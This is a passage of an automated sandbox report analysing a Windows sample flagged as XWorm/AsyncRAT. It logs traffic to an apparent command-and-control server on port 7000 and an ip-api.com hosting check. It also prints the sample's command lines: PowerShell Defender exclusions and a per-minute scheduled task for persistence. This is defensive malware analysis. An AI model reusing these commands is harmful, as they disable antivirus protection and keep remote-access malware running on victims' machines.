Nov 29, 2024 15:20:19.447501898 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:19.567522049 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:19.567735910 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:19.619529963 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:19.664881945 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:19.687679052 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:19.784989119 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:19.785031080 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:19.785058975 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:19.785238981 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:19.785311937 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:19.785384893 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:19.905067921 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:19.905185938 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:20.025113106 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:20.025248051 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:20.145220995 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:20.145348072 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:20.265360117 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:20.265460968 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:20.381582975 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:20.381652117 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:20.385449886 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:20.436074972 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:20.501656055 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:20.501704931 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:20.556361914 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:20.556430101 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:20.556549072 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:20.556647062 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:20.556713104 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:20.622150898 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:20.622209072 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:20.696552038 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:20.696654081 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:20.702475071 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:20.742177963 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:20.816684008 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:20.823219061 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:20.823525906 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:21.937542915 CET	49806	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:22.057476044 CET	7000	49806	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:22.535914898 CET	7000	49806	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:22.539252043 CET	49806	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:22.659337044 CET	7000	49806	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:28.820631027 CET	7000	49806	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:28.870570898 CET	49806	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:35.886538982 CET	49806	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:36.006378889 CET	7000	49806	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:36.482296944 CET	7000	49806	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:36.485506058 CET	49806	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:36.605488062 CET	7000	49806	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:43.914413929 CET	80	49699	208.95.112.1	192.168.2.7
Nov 29, 2024 15:20:43.914515972 CET	49699	80	192.168.2.7	208.95.112.1
Nov 29, 2024 15:20:48.841197968 CET	49699	80	192.168.2.7	208.95.112.1
Nov 29, 2024 15:20:48.961262941 CET	80	49699	208.95.112.1	192.168.2.7
Nov 29, 2024 15:20:49.855393887 CET	49806	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:49.975497007 CET	7000	49806	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:50.495111942 CET	7000	49806	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:50.497402906 CET	49806	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:50.617286921 CET	7000	49806	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:58.830595016 CET	7000	49806	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:58.870718956 CET	49806	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:21:03.808777094 CET	49806	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:21:03.929220915 CET	7000	49806	103.230.121.124	192.168.2.7
Nov 29, 2024 15:21:04.426498890 CET	7000	49806	103.230.121.124	192.168.2.7
Nov 29, 2024 15:21:04.428611040 CET	49806	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:21:04.548547983 CET	7000	49806	103.230.121.124	192.168.2.7
Nov 29, 2024 15:21:18.808650970 CET	49806	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:21:18.928783894 CET	7000	49806	103.230.121.124	192.168.2.7
Nov 29, 2024 15:21:19.403960943 CET	7000	49806	103.230.121.124	192.168.2.7
Nov 29, 2024 15:21:19.404979944 CET	49806	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:21:19.525010109 CET	7000	49806	103.230.121.124	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 29, 2024 15:19:07.375252962 CET	52260	53	192.168.2.7	1.1.1.1
Nov 29, 2024 15:19:07.514259100 CET	53	52260	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 29, 2024 15:19:07.375252962 CET	192.168.2.7	1.1.1.1	0x3c66	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 29, 2024 15:19:07.514259100 CET	1.1.1.1	192.168.2.7	0x3c66	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	208.95.112.1	80	5668	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 15:19:07.642568111 CET	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Nov 29, 2024 15:19:08.820662022 CET	175	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 14:19:08 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

Target ID:	0
Start time:	09:19:05
Start date:	29/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x260000
File size:	445'952 bytes
MD5 hash:	9FF920C7C3199DBFFF9B507272C9F65A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000000.00000002.2555959588.0000000012691000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000000.00000002.2555959588.0000000012691000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000000.00000000.1250043956.0000000000262000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000000.00000000.1250043956.0000000000262000.00000002.00000001.01000000.00000003.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000000.00000002.2523388920.0000000002681000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Target ID:	7
Start time:	09:19:07
Start date:	29/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\file.exe'
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	8
Start time:	09:19:07
Start date:	29/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	11
Start time:	09:19:14
Start date:	29/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'file.exe'
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	12
Start time:	09:19:14
Start date:	29/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	14
Start time:	09:19:26
Start date:	29/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Word.exe'
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	15
Start time:	09:19:26
Start date:	29/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	16
Start time:	11:14:07
Start date:	29/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Word.exe'
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	17
Start time:	11:14:07
Start date:	29/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	18
Start time:	11:14:30
Start date:	29/11/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Word" /tr "C:\Users\user\AppData\Roaming\Word.exe"
Imagebase:	0x7ff60c330000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	19
Start time:	11:14:30
Start date:	29/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	20
Start time:	11:14:30
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Roaming\Word.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\Word.exe
Imagebase:	0xcb0000
File size:	445'952 bytes
MD5 hash:	9FF920C7C3199DBFFF9B507272C9F65A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Roaming\Word.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Roaming\Word.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Roaming\Word.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 76%, ReversingLabs
Has exited:	true

Target ID:	23
Start time:	11:14:43
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Roaming\Word.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\Word.exe"
Imagebase:	0x60000
File size:	445'952 bytes
MD5 hash:	9FF920C7C3199DBFFF9B507272C9F65A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	24
Start time:	11:14:51
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Roaming\Word.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\Word.exe"
Imagebase:	0x990000
File size:	445'952 bytes
MD5 hash:	9FF920C7C3199DBFFF9B507272C9F65A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	25
Start time:	11:15:01
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Roaming\Word.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\Word.exe
Imagebase:	0xea0000
File size:	445'952 bytes
MD5 hash:	9FF920C7C3199DBFFF9B507272C9F65A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true